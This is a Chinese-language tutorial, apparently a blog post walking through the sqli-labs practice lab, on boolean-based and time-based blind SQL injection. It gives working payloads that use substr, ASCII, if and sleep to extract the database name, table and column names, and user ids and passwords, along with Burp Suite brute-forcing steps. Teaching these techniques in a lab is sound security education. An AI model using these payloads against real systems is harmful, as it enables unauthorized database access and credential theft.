首先布尔类型只有两种状态:Ture和False
盲注的意思就是我们在网页端并不能看到它的回显,只能根据逻辑来进行判断语句是否执行成功
会用到的SQL函数:
length()用来获取字符串的长度
ASCII()用来获取字符串的ASCII码
substr(str,M,N)用来截取字符串
其中str为要截取的字符串、M为从第几个字符开始截取N为截多少个字符,例如substr(str,1,1)的意思就是从str中的第一个字符开始截取一个字符停止,相当于只截取str中的第一个字符.
首先我们在php代码里加上echo $sql语句,输出执行的sql语句,为了我们更方便的进行学习
我们首先输入id=1来看看语句正确的时候页面返回什么内容
再看看如果语句正确但是没有对应的id,页面返回什么
1.我们得知,页面正确则返回You are in,如果页面不正确则什么也不返回。
相当于,逻辑为true时返回You are in… 逻辑为false时什么都不返回
2.因为我们看到执行的sql语句是用单引号进行闭合的,所以我们可以闭合单引号来构造我们的payload
然后我们首先来猜它有几个字段,order by 3页面返回正确
order by 4的时候,页面返回false,则证明该表有三个字段
接下来我们来猜数据库的名字,本来如果页面有回显的话,那么直接使用database()函数就可以返回当前数据库的名字,但是此题并没有回显位置
所以我们就要用到逻辑来判断数据库名字。
首先我们猜数据库名字的长度小于10,页面成功返回,说明我们的数据库名字小于10
SELECT * FROM users WHERE id='1'and (length(database())<10) --+
然后我们大胆的猜想数据库名字的长度为8,结果页面返回正确,说明我们的猜想正确
SELECT * FROM users WHERE id='1'and (length(database())=8) -- ' LIMIT 0,1
接下来我们来猜数据库的具体名字通过ASCII码来判断,我们发现数据库名字的第一个字符的ASCII码小于120。
SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))<120) --+
我们接下来继续缩小范围,发现它的ASCII码不小于115.
SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))<115) --+
然后我们大胆猜想它的ASCII码为115,发现页面返回正确,则证明它的第一个字符的ASCII码为115,经我们查表发现为字符s
SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))=115) --+
接下来我们其实可以一直重复上面操作直到完全猜出数据库的名字,但是这样实在是太费时间了,接下来我们用burp suite的爆破模块进行对数据库的猜解
我们首先在burp中设置好代理
然后浏览器也要设置同样的代理,具体操作可以百度burpsuite如何设置代理
然后我们把拦截的流量发送到爆破模块,并且构造payload,把我们要遍历的数字加上变量符,然后开始爆破。
每次只需要改变截取第几个字符就行
然后我们发现只有当payload=101的时候与其他长度不一样,那就意味着我们的第二个字符的ASCII编码是101,也就是e
然后我们爆破第三个字符,我们构造同样的payload
发现当payload=99的时候,长度与其他相差很多
即可证明第三个字符的ASCII码为99,也就是c
然后重复上述操作我们可以爆破出来名字是security这个数据库
接下来我们开始爆破数据表名,我们发现第一个表名字的第一个字符的ASCII码是小于115的
SELECT * FROM users WHERE id='1' and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<115 --+
所以我们继续大胆猜想它的ASCII码为101,所以它的第一个数据表名字的第一个字符为e
SELECT * FROM users WHERE id='1' and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
接下来的操作我们仍然可以重复上述操作,但我们用burp来实现爆破
我们发现当payload=109时,它的长度不同于其他,则第一张表名的第二个字符的ASCII码为109,所以这个字符为m
所以重复修改上述选择第几张表和截取字符的长度(加粗部分),即可得到所有的表名
id=1’ and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
最后我们爆破字段即可,方法与上述方法相同
SELECT * FROM users WHERE id='1' and (ASCII(substr((select id from users limit 0,1),1,1)))<101 --+
通过更改上述语句的截取长度和第几个id即可爆破出全部id
SELECT * FROM users WHERE id='1' and (ASCII(substr((select id from users limit 0,1),1,1)))<101 --+
通过更改上述语句的截取长度和第几个password即可爆破出全部password
具体操作我就不在赘述了,我们只要懂得,布尔注入最重要的是逻辑判断以后的页面回显和几个sql函数的应用,注入的语句和我们之前学的Less1里面的都一样
时间盲注和布尔盲注实际上一样都没有回显(且逻辑真和假回显的
页面一样),所以所谓时间盲注,其实运用的是sleep函数的延迟来判断,我们所执行的SQL语句是否成功。
所以我们常用到的函数是
ASCII()、substr()
sleep()让程序延迟执行
if语句,其中if语句的用法如下:
if(expr1,expr2,expr3)
如果expr1为true,则执行expr2,否则执行expr3
0x00
通过我们上图的分析,发现这是时间盲注且是单引号注入,所以我们将单引号闭合,运用sleep函数和if函数进行判断,并且注释掉多余的语句,来达到注入的目的
0x01
因为是时间注入,所以页面的回显一样,下面就不贴图了,如果语句执行失败就延迟5s执行
0x02
猜解数据库
我们猜数据库名字的第一个字符的ASCII码为110,发现程序延期执行5s,所以第一个字符的ASCII的码并不是110,然后我们用大小于来确定范围,从而得出数据库的第一个字符为s
SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1))=110,1,sleep(5)) --+
0x03
猜解数据表名
道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定security库的第一个数据表的第一个字符为e
SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_schema from information_schema.tables where table_schema='security' limit 0,1),1,1))=116,1,sleep(5)) --+
0x04
猜解数据表字段
道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定user表字段的第一个字符为i
SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=116,1,sleep(5)) --+
0x05
猜解数据表值
道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定user表字段id值的第一个字符
SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from users limit 0,1),1,1))=116,1,sleep(5)) --+
至此我们的基于时间的盲注也到此结束了,其实相比基于布尔类型的盲注,它只是通过程序的执行时间来判断sql语句的执行正确与否,具体操作和基于布尔类型的盲注一样,所以就不过多进行赘述了。
当然上述操作爆破每一个字符的ASCII码,我们同样可以运用burp的爆破模块来进行,因为操作和上面一样,所以我也不过多赘述了
至此我们的基于布尔类型和时间的盲注就讲完了,如有不懂,可以私信博主或者评论。